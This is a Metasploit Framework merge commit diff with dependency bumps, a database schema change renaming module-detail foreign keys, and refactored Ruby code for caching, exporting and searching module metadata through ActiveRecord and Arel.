Merge branch 'master' into bug/web-match_and_log_fingerprint

unstable
Tasos Laskos 2013-05-14 01:55:37 +03:00
commit a12e59ef1f
35 changed files with 3568 additions and 468 deletions

View File

@ -12,7 +12,7 @@ If your bug is new and you'd like to report it you will need to
first](https://dev.metasploit.com/redmine/account/register). Don't first](https://dev.metasploit.com/redmine/account/register). Don't
worry, it's easy and fun and takes about 30 seconds. worry, it's easy and fun and takes about 30 seconds.
When you file a bug report, please inclue your **steps to reproduce**, When you file a bug report, please include your **steps to reproduce**,
full copy-pastes of Ruby stack traces, and any relevant details about full copy-pastes of Ruby stack traces, and any relevant details about
your environment. Without repro steps, your bug will likely be closed. your environment. Without repro steps, your bug will likely be closed.
With repro steps, your bugs will likely be fixed. With repro steps, your bugs will likely be fixed.

View File

@ -15,7 +15,7 @@ group :db do
# Needed for Msf::DbManager # Needed for Msf::DbManager
gem 'activerecord' gem 'activerecord'
# Database models shared between framework and Pro. # Database models shared between framework and Pro.
gem 'metasploit_data_models', '~> 0.6.16' gem 'metasploit_data_models', '~> 0.11.2'
# Needed for module caching in Mdm::ModuleDetails # Needed for module caching in Mdm::ModuleDetails
gem 'pg', '>= 0.11' gem 'pg', '>= 0.11'
end end
@ -48,7 +48,12 @@ group :test do
gem 'database_cleaner' gem 'database_cleaner'
# testing framework # testing framework
gem 'rspec', '>= 2.12' gem 'rspec', '>= 2.12'
# add matchers from shoulda, such as query_the_database, which is useful for
# testing that the Msf::DBManager activation is respected.
gem 'shoulda-matchers'
# code coverage for tests # code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files. # any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
gem 'simplecov', '0.5.4', :require => false gem 'simplecov', '0.5.4', :require => false
# Manipulate Time.now in specs
gem 'timecop'
end end

View File

@ -13,6 +13,8 @@ GEM
i18n (= 0.6.1) i18n (= 0.6.1)
multi_json (~> 1.0) multi_json (~> 1.0)
arel (3.0.2) arel (3.0.2)
bourne (1.4.0)
mocha (~> 0.13.2)
builder (3.0.4) builder (3.0.4)
database_cleaner (0.9.1) database_cleaner (0.9.1)
diff-lcs (1.2.2) diff-lcs (1.2.2)
@ -20,15 +22,18 @@ GEM
activesupport (>= 3.0.0) activesupport (>= 3.0.0)
i18n (0.6.1) i18n (0.6.1)
json (1.7.7) json (1.7.7)
metasploit_data_models (0.6.16) metaclass (0.0.1)
metasploit_data_models (0.11.2)
activerecord (>= 3.2.13) activerecord (>= 3.2.13)
activesupport activesupport
pg pg
mocha (0.13.3)
metaclass (~> 0.0.1)
msgpack (0.5.4) msgpack (0.5.4)
multi_json (1.0.4) multi_json (1.0.4)
nokogiri (1.5.9) nokogiri (1.5.9)
pcaprub (0.11.3) pcaprub (0.11.3)
pg (0.15.0) pg (0.15.1)
rake (10.0.4) rake (10.0.4)
redcarpet (2.2.2) redcarpet (2.2.2)
robots (0.10.1) robots (0.10.1)
@ -40,10 +45,14 @@ GEM
rspec-expectations (2.13.0) rspec-expectations (2.13.0)
diff-lcs (>= 1.1.3, < 2.0) diff-lcs (>= 1.1.3, < 2.0)
rspec-mocks (2.13.0) rspec-mocks (2.13.0)
shoulda-matchers (1.5.2)
activesupport (>= 3.0.0)
bourne (~> 1.3)
simplecov (0.5.4) simplecov (0.5.4)
multi_json (~> 1.0.3) multi_json (~> 1.0.3)
simplecov-html (~> 0.5.3) simplecov-html (~> 0.5.3)
simplecov-html (0.5.3) simplecov-html (0.5.3)
timecop (0.6.1)
tzinfo (0.3.37) tzinfo (0.3.37)
yard (0.8.5.2) yard (0.8.5.2)
@ -56,7 +65,7 @@ DEPENDENCIES
database_cleaner database_cleaner
factory_girl (>= 4.1.0) factory_girl (>= 4.1.0)
json json
metasploit_data_models (~> 0.6.16) metasploit_data_models (~> 0.11.2)
msgpack msgpack
nokogiri nokogiri
pcaprub pcaprub
@ -65,5 +74,7 @@ DEPENDENCIES
redcarpet redcarpet
robots robots
rspec (>= 2.12) rspec (>= 2.12)
shoulda-matchers
simplecov (= 0.5.4) simplecov (= 0.5.4)
timecop
yard yard

View File

@ -36,6 +36,17 @@ else
task :default => :spec task :default => :spec
end end
# Require yard before loading metasploit_data_models rake tasks as the yard tasks won't be defined if
# YARD is not defined when yard.rake is loaded.
begin
require 'yard'
rescue LoadError
puts "yard not in bundle, so can't set up yard tasks. " \
"To generate documentation ensure to install the development group."
print_without = true
end
begin begin
require 'metasploit_data_models' require 'metasploit_data_models'
rescue LoadError rescue LoadError
@ -58,14 +69,6 @@ else
end end
end end
begin
require 'yard'
rescue LoadError
puts "yard not in bundle, so can't set up yard tasks. " \
"To generate documentation ensure to install the development group."
print_without = true
end
if print_without if print_without

View File

@ -11,7 +11,7 @@
# #
# It's strongly recommended to check this file into your version control system. # It's strongly recommended to check this file into your version control system.
ActiveRecord::Schema.define(:version => 20130228214900) do ActiveRecord::Schema.define(:version => 20130430162145) do
create_table "api_keys", :force => true do |t| create_table "api_keys", :force => true do |t|
t.text "token" t.text "token"
@ -135,7 +135,7 @@ ActiveRecord::Schema.define(:version => 20130228214900) do
create_table "hosts", :force => true do |t| create_table "hosts", :force => true do |t|
t.datetime "created_at" t.datetime "created_at"
t.string "address", :limit => nil t.string "address", :limit => nil, :null => false
t.string "mac" t.string "mac"
t.string "comm" t.string "comm"
t.string "name" t.string "name"
@ -145,7 +145,7 @@ ActiveRecord::Schema.define(:version => 20130228214900) do
t.string "os_sp" t.string "os_sp"
t.string "os_lang" t.string "os_lang"
t.string "arch" t.string "arch"
t.integer "workspace_id" t.integer "workspace_id", :null => false
t.datetime "updated_at" t.datetime "updated_at"
t.text "purpose" t.text "purpose"
t.string "info", :limit => 65536 t.string "info", :limit => 65536
@ -157,14 +157,15 @@ ActiveRecord::Schema.define(:version => 20130228214900) do
t.integer "service_count", :default => 0 t.integer "service_count", :default => 0
t.integer "host_detail_count", :default => 0 t.integer "host_detail_count", :default => 0
t.integer "exploit_attempt_count", :default => 0 t.integer "exploit_attempt_count", :default => 0
t.integer "cred_count", :default => 0
end end
add_index "hosts", ["address"], :name => "index_hosts_on_address"
add_index "hosts", ["name"], :name => "index_hosts_on_name" add_index "hosts", ["name"], :name => "index_hosts_on_name"
add_index "hosts", ["os_flavor"], :name => "index_hosts_on_os_flavor" add_index "hosts", ["os_flavor"], :name => "index_hosts_on_os_flavor"
add_index "hosts", ["os_name"], :name => "index_hosts_on_os_name" add_index "hosts", ["os_name"], :name => "index_hosts_on_os_name"
add_index "hosts", ["purpose"], :name => "index_hosts_on_purpose" add_index "hosts", ["purpose"], :name => "index_hosts_on_purpose"
add_index "hosts", ["state"], :name => "index_hosts_on_state" add_index "hosts", ["state"], :name => "index_hosts_on_state"
add_index "hosts", ["workspace_id", "address"], :name => "index_hosts_on_workspace_id_and_address", :unique => true
create_table "hosts_tags", :id => false, :force => true do |t| create_table "hosts_tags", :id => false, :force => true do |t|
t.integer "host_id" t.integer "host_id"
@ -223,26 +224,26 @@ ActiveRecord::Schema.define(:version => 20130228214900) do
end end
create_table "module_actions", :force => true do |t| create_table "module_actions", :force => true do |t|
t.integer "module_detail_id" t.integer "detail_id"
t.text "name" t.text "name"
end end
add_index "module_actions", ["module_detail_id"], :name => "index_module_actions_on_module_detail_id" add_index "module_actions", ["detail_id"], :name => "index_module_actions_on_module_detail_id"
create_table "module_archs", :force => true do |t| create_table "module_archs", :force => true do |t|
t.integer "module_detail_id" t.integer "detail_id"
t.text "name" t.text "name"
end end
add_index "module_archs", ["module_detail_id"], :name => "index_module_archs_on_module_detail_id" add_index "module_archs", ["detail_id"], :name => "index_module_archs_on_module_detail_id"
create_table "module_authors", :force => true do |t| create_table "module_authors", :force => true do |t|
t.integer "module_detail_id" t.integer "detail_id"
t.text "name" t.text "name"
t.text "email" t.text "email"
end end
add_index "module_authors", ["module_detail_id"], :name => "index_module_authors_on_module_detail_id" add_index "module_authors", ["detail_id"], :name => "index_module_authors_on_module_detail_id"
create_table "module_details", :force => true do |t| create_table "module_details", :force => true do |t|
t.datetime "mtime" t.datetime "mtime"
@ -268,34 +269,34 @@ ActiveRecord::Schema.define(:version => 20130228214900) do
add_index "module_details", ["refname"], :name => "index_module_details_on_refname" add_index "module_details", ["refname"], :name => "index_module_details_on_refname"
create_table "module_mixins", :force => true do |t| create_table "module_mixins", :force => true do |t|
t.integer "module_detail_id" t.integer "detail_id"
t.text "name" t.text "name"
end end
add_index "module_mixins", ["module_detail_id"], :name => "index_module_mixins_on_module_detail_id" add_index "module_mixins", ["detail_id"], :name => "index_module_mixins_on_module_detail_id"
create_table "module_platforms", :force => true do |t| create_table "module_platforms", :force => true do |t|
t.integer "module_detail_id" t.integer "detail_id"
t.text "name" t.text "name"
end end
add_index "module_platforms", ["module_detail_id"], :name => "index_module_platforms_on_module_detail_id" add_index "module_platforms", ["detail_id"], :name => "index_module_platforms_on_module_detail_id"
create_table "module_refs", :force => true do |t| create_table "module_refs", :force => true do |t|
t.integer "module_detail_id" t.integer "detail_id"
t.text "name" t.text "name"
end end
add_index "module_refs", ["module_detail_id"], :name => "index_module_refs_on_module_detail_id" add_index "module_refs", ["detail_id"], :name => "index_module_refs_on_module_detail_id"
add_index "module_refs", ["name"], :name => "index_module_refs_on_name" add_index "module_refs", ["name"], :name => "index_module_refs_on_name"
create_table "module_targets", :force => true do |t| create_table "module_targets", :force => true do |t|
t.integer "module_detail_id" t.integer "detail_id"
t.integer "index" t.integer "index"
t.text "name" t.text "name"
end end
add_index "module_targets", ["module_detail_id"], :name => "index_module_targets_on_module_detail_id" add_index "module_targets", ["detail_id"], :name => "index_module_targets_on_module_detail_id"
create_table "nexpose_consoles", :force => true do |t| create_table "nexpose_consoles", :force => true do |t|
t.datetime "created_at", :null => false t.datetime "created_at", :null => false

View File

@ -645,12 +645,69 @@ class DBManager
} }
end end
# Record a new session in the database # @note The Mdm::Session#desc will be truncated to 255 characters.
# @todo https://www.pivotaltracker.com/story/show/48249739
# #
# opts MUST contain either # @overload report_session(opts)
# +:session+:: the Msf::Session object we are reporting # Creates an Mdm::Session from Msf::Session. If +via_exploit+ is set on the
# +:host+:: the Host object we are reporting a session on. # +session+, then an Mdm::Vuln and Mdm::ExploitAttempt is created for the
# session's host. The Mdm::Host for the +session_host+ is created using
# The session.session_host, +session.arch+ (if +session+ responds to arch),
# and the workspace derived from opts or the +session+. The Mdm::Session is
# assumed to be +last_seen+ and +opened_at+ at the time report_session is
# called. +session.exploit_datastore['ParentModule']+ is used for the
# Mdm::Session#via_exploit if +session.via_exploit+ is
# 'exploit/multi/handler'.
# #
# @param opts [Hash{Symbol => Object}] options
# @option opt [Msf::Session, #datastore, #platform, #type, #via_exploit, #via_payload] :session
# The in-memory session to persist to the database.
# @option opts [Mdm::Workspace] :workspace The workspace for in which the
# :session host is contained. Also used as the workspace for the
# Mdm::ExploitAttempt and Mdm::Vuln. Defaults to Mdm::Worksapce with
# Mdm::Workspace#name equal to +session.workspace+.
# @return [nil] if {Msf::DBManager#active} is +false+.
# @return [Mdm::Session] if session is saved
# @raise [ArgumentError] if :session is not an {Msf::Session}.
# @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be
# saved, in which case, the Mdm::ExploitAttempt and Mdm::Vuln will not be
# created, but the Mdm::Host will have been. (There is no transaction
# to rollback the Mdm::Host creation.)
# @see #find_or_create_host
# @see #normalize_host
# @see #report_exploit_success
# @see #report_vuln
#
# @overload report_session(opts)
# Creates an Mdm::Session from Mdm::Host.
#
# @param opts [Hash{Symbol => Object}] options
# @option opts [DateTime, Time] :closed_at The date and time the sesion was
# closed.
# @option opts [String] :close_reason Reason the session was closed.
# @option opts [Hash] :datastore {Msf::DataStore#to_h}.
# @option opts [String] :desc Session description. Will be truncated to 255
# characters.
# @option opts [Mdm::Host] :host The host on which the session was opened.
# @option opts [DateTime, Time] :last_seen The last date and time the
# session was seen to be open. Defaults to :closed_at's value.
# @option opts [DateTime, Time] :opened_at The date and time that the
# session was opened.
# @option opts [String] :platform The platform of the host.
# @option opts [Array] :routes ([]) The routes through the session for
# pivoting.
# @option opts [String] :stype Session type.
# @option opts [String] :via_exploit The {Msf::Module#fullname} of the
# exploit that was used to open the session.
# @option option [String] :via_payload the {MSf::Module#fullname} of the
# payload sent to the host when the exploit was successful.
# @return [nil] if {Msf::DBManager#active} is +false+.
# @return [Mdm::Session] if session is saved.
# @raise [ArgumentError] if :host is not an Mdm::Host.
# @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be
# saved.
#
# @raise ArgumentError if :host and :session is +nil+
def report_session(opts) def report_session(opts)
return if not active return if not active
::ActiveRecord::Base.connection_pool.with_connection { ::ActiveRecord::Base.connection_pool.with_connection {
@ -719,13 +776,11 @@ class DBManager
# If this is a live session, we know the host is vulnerable to something. # If this is a live session, we know the host is vulnerable to something.
if opts[:session] and session.via_exploit if opts[:session] and session.via_exploit
return unless host
mod = framework.modules.create(session.via_exploit) mod = framework.modules.create(session.via_exploit)
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
mod_fullname = sess_data[:datastore]['ParentModule'] mod_fullname = sess_data[:datastore]['ParentModule']
mod_name = ::Mdm::ModuleDetail.find_by_fullname(mod_fullname).name mod_name = ::Mdm::Module::Detail.find_by_fullname(mod_fullname).name
else else
mod_name = mod.name mod_name = mod.name
mod_fullname = mod.fullname mod_fullname = mod.fullname

View File

@ -358,9 +358,19 @@ class Export
return el return el
end end
# @note there is no single root element output by
# {#extract_module_detail_info}, so if calling {#extract_module_detail_info}
# directly, it is the caller's responsibility to add an opening and closing
# tag to report_file around the call to {#extract_module_detail_info}.
#
# Writes a module_detail element to the report_file for each
# Mdm::Module::Detail.
#
# @param report_file [#write, #flush] IO stream to which to write the
# module_detail elements.
# @return [void]
def extract_module_detail_info(report_file) def extract_module_detail_info(report_file)
Mdm::ModuleDetail.all.each do |m| Mdm::Module::Detail.all.each do |m|
report_file.write("<module_detail>\n") report_file.write("<module_detail>\n")
m_id = m.attributes["id"] m_id = m.attributes["id"]
@ -371,6 +381,7 @@ class Export
end end
# Authors sub-elements # Authors sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_authors>\n") report_file.write(" <module_authors>\n")
m.authors.find(:all).each do |d| m.authors.find(:all).each do |d|
d.attributes.each_pair do |k,v| d.attributes.each_pair do |k,v|
@ -381,6 +392,7 @@ class Export
report_file.write(" </module_authors>\n") report_file.write(" </module_authors>\n")
# Refs sub-elements # Refs sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_refs>\n") report_file.write(" <module_refs>\n")
m.refs.find(:all).each do |d| m.refs.find(:all).each do |d|
d.attributes.each_pair do |k,v| d.attributes.each_pair do |k,v|
@ -392,6 +404,7 @@ class Export
# Archs sub-elements # Archs sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_archs>\n") report_file.write(" <module_archs>\n")
m.archs.find(:all).each do |d| m.archs.find(:all).each do |d|
d.attributes.each_pair do |k,v| d.attributes.each_pair do |k,v|
@ -403,6 +416,7 @@ class Export
# Platforms sub-elements # Platforms sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_platforms>\n") report_file.write(" <module_platforms>\n")
m.platforms.find(:all).each do |d| m.platforms.find(:all).each do |d|
d.attributes.each_pair do |k,v| d.attributes.each_pair do |k,v|
@ -414,6 +428,7 @@ class Export
# Targets sub-elements # Targets sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_targets>\n") report_file.write(" <module_targets>\n")
m.targets.find(:all).each do |d| m.targets.find(:all).each do |d|
d.attributes.each_pair do |k,v| d.attributes.each_pair do |k,v|
@ -424,6 +439,7 @@ class Export
report_file.write(" </module_targets>\n") report_file.write(" </module_targets>\n")
# Actions sub-elements # Actions sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_actions>\n") report_file.write(" <module_actions>\n")
m.actions.find(:all).each do |d| m.actions.find(:all).each do |d|
d.attributes.each_pair do |k,v| d.attributes.each_pair do |k,v|
@ -434,6 +450,7 @@ class Export
report_file.write(" </module_actions>\n") report_file.write(" </module_actions>\n")
# Mixins sub-elements # Mixins sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_mixins>\n") report_file.write(" <module_mixins>\n")
m.mixins.find(:all).each do |d| m.mixins.find(:all).each do |d|
d.attributes.each_pair do |k,v| d.attributes.each_pair do |k,v|

View File

@ -314,17 +314,28 @@ class DBManager
end end
# @note Does nothing unless {#migrated} is +true+ and {#modules_caching} is
# +false+.
#
# Destroys all Mdm::Module::Details in the database.
#
# @return [void]
def purge_all_module_details def purge_all_module_details
return if not self.migrated return if not self.migrated
return if self.modules_caching return if self.modules_caching
::ActiveRecord::Base.connection_pool.with_connection do ::ActiveRecord::Base.connection_pool.with_connection do
Mdm::ModuleDetail.destroy_all Mdm::Module::Detail.destroy_all
end end
true
end end
# Destroys the old Mdm::Module::Detail and creates a new Mdm::Module::Detail for
# any module with an Mdm::Module::Detail where the modification time of the
# Mdm::Module::Detail#file differs from the Mdm::Module::Detail#mtime. If the
# Mdm::Module::Detail#file no only exists on disk, then the Mdm::Module::Detail
# is just destroyed without a new one being created.
#
# @return [void]
def update_all_module_details def update_all_module_details
return if not self.migrated return if not self.migrated
return if self.modules_caching return if self.modules_caching
@ -334,12 +345,12 @@ class DBManager
self.modules_cached = false self.modules_cached = false
self.modules_caching = true self.modules_caching = true
::ActiveRecord::Base.connection_pool.with_connection { ActiveRecord::Base.connection_pool.with_connection do
refresh = [] refresh = []
skipped = [] skipped = []
Mdm::ModuleDetail.find_each do |md| Mdm::Module::Detail.find_each do |md|
unless md.ready unless md.ready
refresh << md refresh << md
@ -359,19 +370,18 @@ class DBManager
skipped << [md.mtype, md.refname] skipped << [md.mtype, md.refname]
end end
refresh.each {|md| md.destroy } refresh.each { |md| md.destroy }
refresh = nil
[ [
[ 'exploit', framework.exploits ], ['exploit', framework.exploits],
[ 'auxiliary', framework.auxiliary ], ['auxiliary', framework.auxiliary],
[ 'post', framework.post ], ['post', framework.post],
[ 'payload', framework.payloads ], ['payload', framework.payloads],
[ 'encoder', framework.encoders ], ['encoder', framework.encoders],
[ 'nop', framework.nops ] ['nop', framework.nops]
].each do |mt| ].each do |mt|
mt[1].keys.sort.each do |mn| mt[1].keys.sort.each do |mn|
next if skipped.include?( [ mt[0], mn ] ) next if skipped.include?([mt[0], mn])
obj = mt[1].create(mn) obj = mt[1].create(mn)
next if not obj next if not obj
begin begin
@ -383,57 +393,64 @@ class DBManager
end end
self.framework.cache_initialized = true self.framework.cache_initialized = true
self.framework.cache_thread = nil
self.modules_cached = true
self.modules_caching = false
nil
}
end end
def update_module_details(obj) # in reverse order of section before with_connection block
self.modules_caching = false
self.modules_cached = true
self.framework.cache_thread = nil
end
# Creates an Mdm::Module::Detail from a module instance.
#
# @param module_instance [Msf::Module] a metasploit module instance.
# @raise [ActiveRecord::RecordInvalid] if Hash from {#module_to_details_hash} is invalid attributes for
# Mdm::Module::Detail.
# @return [void]
def update_module_details(module_instance)
return if not self.migrated return if not self.migrated
::ActiveRecord::Base.connection_pool.with_connection { ActiveRecord::Base.connection_pool.with_connection do
info = module_to_details_hash(obj) info = module_to_details_hash(module_instance)
bits = info.delete(:bits) || [] bits = info.delete(:bits) || []
module_detail = Mdm::Module::Detail.create!(info)
md = Mdm::ModuleDetail.create(info)
bits.each do |args| bits.each do |args|
otype, vals = args otype, vals = args
case otype case otype
when :author
md.add_author(vals[:name], vals[:email])
when :action when :action
md.add_action(vals[:name]) module_detail.add_action(vals[:name])
when :arch when :arch
md.add_arch(vals[:name]) module_detail.add_arch(vals[:name])
when :author
module_detail.add_author(vals[:name], vals[:email])
when :platform when :platform
md.add_platform(vals[:name]) module_detail.add_platform(vals[:name])
when :target
md.add_target(vals[:index], vals[:name])
when :ref when :ref
md.add_ref(vals[:name]) module_detail.add_ref(vals[:name])
when :mixin when :target
# md.add_mixin(vals[:name]) module_detail.add_target(vals[:index], vals[:name])
end end
end end
md.ready = true module_detail.ready = true
md.save module_detail.save!
md.id end
}
end end
# Destroys Mdm::Module::Detail if one exists for the given
# Mdm::Module::Detail#mtype and Mdm::Module::Detail#refname.
#
# @param mtype [String] module type.
# @param refname [String] module reference name.
# @return [void]
def remove_module_details(mtype, refname) def remove_module_details(mtype, refname)
return if not self.migrated return if not self.migrated
::ActiveRecord::Base.connection_pool.with_connection {
md = Mdm::ModuleDetail.find(:conditions => [ 'mtype = ? and refname = ?', mtype, refname]) ActiveRecord::Base.connection_pool.with_connection do
md.destroy if md Mdm::Module::Detail.where(:mtype => mtype, :refname => refname).destroy_all
} end
end end
def module_to_details_hash(m) def module_to_details_hash(m)
@ -523,21 +540,45 @@ class DBManager
res res
end end
# Wraps values in +'%'+ for Arel::Prediciation#matches_any and other match* methods that map to SQL +'LIKE'+ or
# +'ILIKE'+
# #
# @param values [Set<String>, #each] a list of strings.
# @return [Arrray<String>] strings wrapped like %<string>%
def match_values(values)
wrapped_values = values.collect { |value|
"%#{value}%"
}
wrapped_values
end
# This provides a standard set of search filters for every module. # This provides a standard set of search filters for every module.
# The search terms are in the form of:
# {
# "text" => [ [ "include_term1", "include_term2", ...], [ "exclude_term1", "exclude_term2"], ... ],
# "cve" => [ [ "include_term1", "include_term2", ...], [ "exclude_term1", "exclude_term2"], ... ]
# }
# #
# Returns true on no match, false on match # Supported keywords with the format <keyword>:<search_value>:
# +app+:: If +client+ then matches +'passive'+ stance modules, otherwise matches +'active' stance modules.
# +author+:: Matches modules with the given author email or name.
# +bid+:: Matches modules with the given Bugtraq ID.
# +cve+:: Matches modules with the given CVE ID.
# +edb+:: Matches modules with the given Exploit-DB ID.
# +name+:: Matches modules with the given full name or name.
# +os+, +platform+:: Matches modules with the given platform or target name.
# +osvdb+:: Matches modules with the given OSVDB ID.
# +ref+:: Matches modules with the given reference ID.
# +type+:: Matches modules with the given type.
# #
def search_modules(search_string, inclusive=false) # Any text not associated with a keyword is matched against the description,
return false if not search_string # the full name, and the name of the module; the name of the module actions;
# the name of the module archs; the name of the module authors; the name of
# module platform; the module refs; or the module target.
#
# @param search_string [String] a string of space separated keyword pairs or
# free form text.
# @return [[]] if search_string is +nil+
# @return [ActiveRecord::Relation] module details that matched
# +search_string+
def search_modules(search_string)
search_string ||= ''
search_string += " " search_string += " "
# Split search terms by space, but allow quoted strings # Split search terms by space, but allow quoted strings
@ -545,85 +586,122 @@ class DBManager
terms.delete('') terms.delete('')
# All terms are either included or excluded # All terms are either included or excluded
res = {} value_set_by_keyword = Hash.new { |hash, keyword|
hash[keyword] = Set.new
terms.each do |t|
f,v = t.split(":", 2)
if not v
v = f
f = 'text'
end
next if v.length == 0
f.downcase!
v.downcase!
res[f] ||= [ ]
res[f] << v
end
::ActiveRecord::Base.connection_pool.with_connection {
where_q = []
where_v = []
res.keys.each do |kt|
res[kt].each do |kv|
kv = kv.downcase
case kt
when 'text'
xv = "%#{kv}%"
where_q << ' ( ' +
'module_details.fullname ILIKE ? OR module_details.name ILIKE ? OR module_details.description ILIKE ? OR ' +
'module_authors.name ILIKE ? OR module_actions.name ILIKE ? OR module_archs.name ILIKE ? OR ' +
'module_targets.name ILIKE ? OR module_platforms.name ILIKE ? OR module_refs.name ILIKE ?' +
') '
where_v << [ xv, xv, xv, xv, xv, xv, xv, xv, xv ]
when 'name'
xv = "%#{kv}%"
where_q << ' ( module_details.fullname ILIKE ? OR module_details.name ILIKE ? ) '
where_v << [ xv, xv ]
when 'author'
xv = "%#{kv}%"
where_q << ' ( module_authors.name ILIKE ? OR module_authors.email ILIKE ? ) '
where_v << [ xv, xv ]
when 'os','platform'
xv = "%#{kv}%"
where_q << ' ( module_platforms.name ILIKE ? OR module_targets.name ILIKE ? ) '
where_v << [ xv, xv ]
when 'port'
# TODO
when 'type'
where_q << ' ( module_details.mtype = ? ) '
where_v << [ kv ]
when 'app'
where_q << ' ( module_details.stance = ? )'
where_v << [ ( kv == "client") ? "passive" : "aggressive" ]
when 'ref'
where_q << ' ( module_refs.name ILIKE ? )'
where_v << [ '%' + kv + '%' ]
when 'cve','bid','osvdb','edb'
where_q << ' ( module_refs.name = ? )'
where_v << [ kt.upcase + '-' + kv ]
end
end
end
qry = Mdm::ModuleDetail.select("DISTINCT(module_details.*)").
joins(
"LEFT OUTER JOIN module_authors ON module_details.id = module_authors.module_detail_id " +
"LEFT OUTER JOIN module_actions ON module_details.id = module_actions.module_detail_id " +
"LEFT OUTER JOIN module_archs ON module_details.id = module_archs.module_detail_id " +
"LEFT OUTER JOIN module_refs ON module_details.id = module_refs.module_detail_id " +
"LEFT OUTER JOIN module_targets ON module_details.id = module_targets.module_detail_id " +
"LEFT OUTER JOIN module_platforms ON module_details.id = module_platforms.module_detail_id "
).
where(where_q.join(inclusive ? " OR " : " AND "), *(where_v.flatten)).
# Compatibility for Postgres installations prior to 9.1 - doesn't have support for wildcard group by clauses
group("module_details.id, module_details.mtime, module_details.file, module_details.mtype, module_details.refname, module_details.fullname, module_details.name, module_details.rank, module_details.description, module_details.license, module_details.privileged, module_details.disclosure_date, module_details.default_target, module_details.default_action, module_details.stance, module_details.ready")
res = qry.all
} }
terms.each do |term|
keyword, value = term.split(':', 2)
unless value
value = keyword
keyword = 'text'
end
unless value.empty?
keyword.downcase!
value_set = value_set_by_keyword[keyword]
value_set.add value
end
end
query = Mdm::Module::Detail.scoped
ActiveRecord::Base.connection_pool.with_connection do
# Although AREL supports taking the union or two queries, the ActiveRecord where syntax only supports
# intersection, so creating the where clause has to be delayed until all conditions can be or'd together and
# passed to one call ot where.
union_conditions = []
value_set_by_keyword.each do |keyword, value_set|
case keyword
when 'author'
formatted_values = match_values(value_set)
query = query.includes(:authors)
module_authors = Mdm::Module::Author.arel_table
union_conditions << module_authors[:email].matches_any(formatted_values)
union_conditions << module_authors[:name].matches_any(formatted_values)
when 'name'
formatted_values = match_values(value_set)
module_details = Mdm::Module::Detail.arel_table
union_conditions << module_details[:fullname].matches_any(formatted_values)
union_conditions << module_details[:name].matches_any(formatted_values)
when 'os', 'platform'
formatted_values = match_values(value_set)
query = query.includes(:platforms)
union_conditions << Mdm::Module::Platform.arel_table[:name].matches_any(formatted_values)
query = query.includes(:targets)
union_conditions << Mdm::Module::Target.arel_table[:name].matches_any(formatted_values)
when 'text'
formatted_values = match_values(value_set)
module_details = Mdm::Module::Detail.arel_table
union_conditions << module_details[:description].matches_any(formatted_values)
union_conditions << module_details[:fullname].matches_any(formatted_values)
union_conditions << module_details[:name].matches_any(formatted_values)
query = query.includes(:actions)
union_conditions << Mdm::Module::Action.arel_table[:name].matches_any(formatted_values)
query = query.includes(:archs)
union_conditions << Mdm::Module::Arch.arel_table[:name].matches_any(formatted_values)
query = query.includes(:authors)
union_conditions << Mdm::Module::Author.arel_table[:name].matches_any(formatted_values)
query = query.includes(:platforms)
union_conditions << Mdm::Module::Platform.arel_table[:name].matches_any(formatted_values)
query = query.includes(:refs)
union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values)
query = query.includes(:targets)
union_conditions << Mdm::Module::Target.arel_table[:name].matches_any(formatted_values)
when 'type'
formatted_values = match_values(value_set)
union_conditions << Mdm::Module::Detail.arel_table[:mtype].matches_any(formatted_values)
when 'app'
formatted_values = value_set.collect { |value|
formatted_value = 'aggressive'
if value == 'client'
formatted_value = 'passive'
end
formatted_value
}
union_conditions << Mdm::Module::Detail.arel_table[:stance].eq_any(formatted_values)
when 'ref'
formatted_values = match_values(value_set)
query = query.includes(:refs)
union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values)
when 'cve', 'bid', 'osvdb', 'edb'
formatted_values = value_set.collect { |value|
prefix = keyword.upcase
"#{prefix}-#{value}"
}
query = query.includes(:refs)
union_conditions << Mdm::Module::Ref.arel_table[:name].eq_any(formatted_values)
end
end
unioned_conditions = union_conditions.inject { |union, condition|
union.or(condition)
}
query = query.where(unioned_conditions).uniq
end
query
end end
end end

View File

@ -46,13 +46,19 @@ module Msf::ModuleManager::Cache
loaded loaded
end end
# Rebuild the cache for the module set # @overload refresh_cache_from_module_files
# Rebuilds database and in-memory cache for all modules.
# #
# @return [void] # @return [void]
def refresh_cache_from_module_files(mod = nil) # @overload refresh_cache_from_module_files(module_class_or_instance)
# Rebuilds database and in-memory cache for given module_class_or_instance.
#
# @param (see Msf::DBManager#update_module_details)
# @return [void]
def refresh_cache_from_module_files(module_class_or_instance = nil)
if framework_migrated? if framework_migrated?
if mod if module_class_or_instance
framework.db.update_module_details(mod) framework.db.update_module_details(module_class_or_instance)
else else
framework.db.update_all_module_details framework.db.update_all_module_details
end end
@ -61,7 +67,7 @@ module Msf::ModuleManager::Cache
end end
end end
# Reset the module cache # Refreshes the in-memory cache from the database cache.
# #
# @return [void] # @return [void]
def refresh_cache_from_database def refresh_cache_from_database
@ -86,25 +92,30 @@ module Msf::ModuleManager::Cache
# @return (see #module_info_by_path_from_database!) # @return (see #module_info_by_path_from_database!)
attr_accessor :module_info_by_path attr_accessor :module_info_by_path
# Return a module info from Mdm::ModuleDetails in database. # Return a module info from Mdm::Module::Details in database.
# #
# @note Also sets module_set(module_type)[module_reference_name] to Msf::SymbolicModule if it is not already set. # @note Also sets module_set(module_type)[module_reference_name] to Msf::SymbolicModule if it is not already set.
# #
# @return [Hash{String => Hash{Symbol => Object}}] Maps path (Mdm::ModuleDetail#file) to module information. Module # @return [Hash{String => Hash{Symbol => Object}}] Maps path (Mdm::Module::Detail#file) to module information. Module
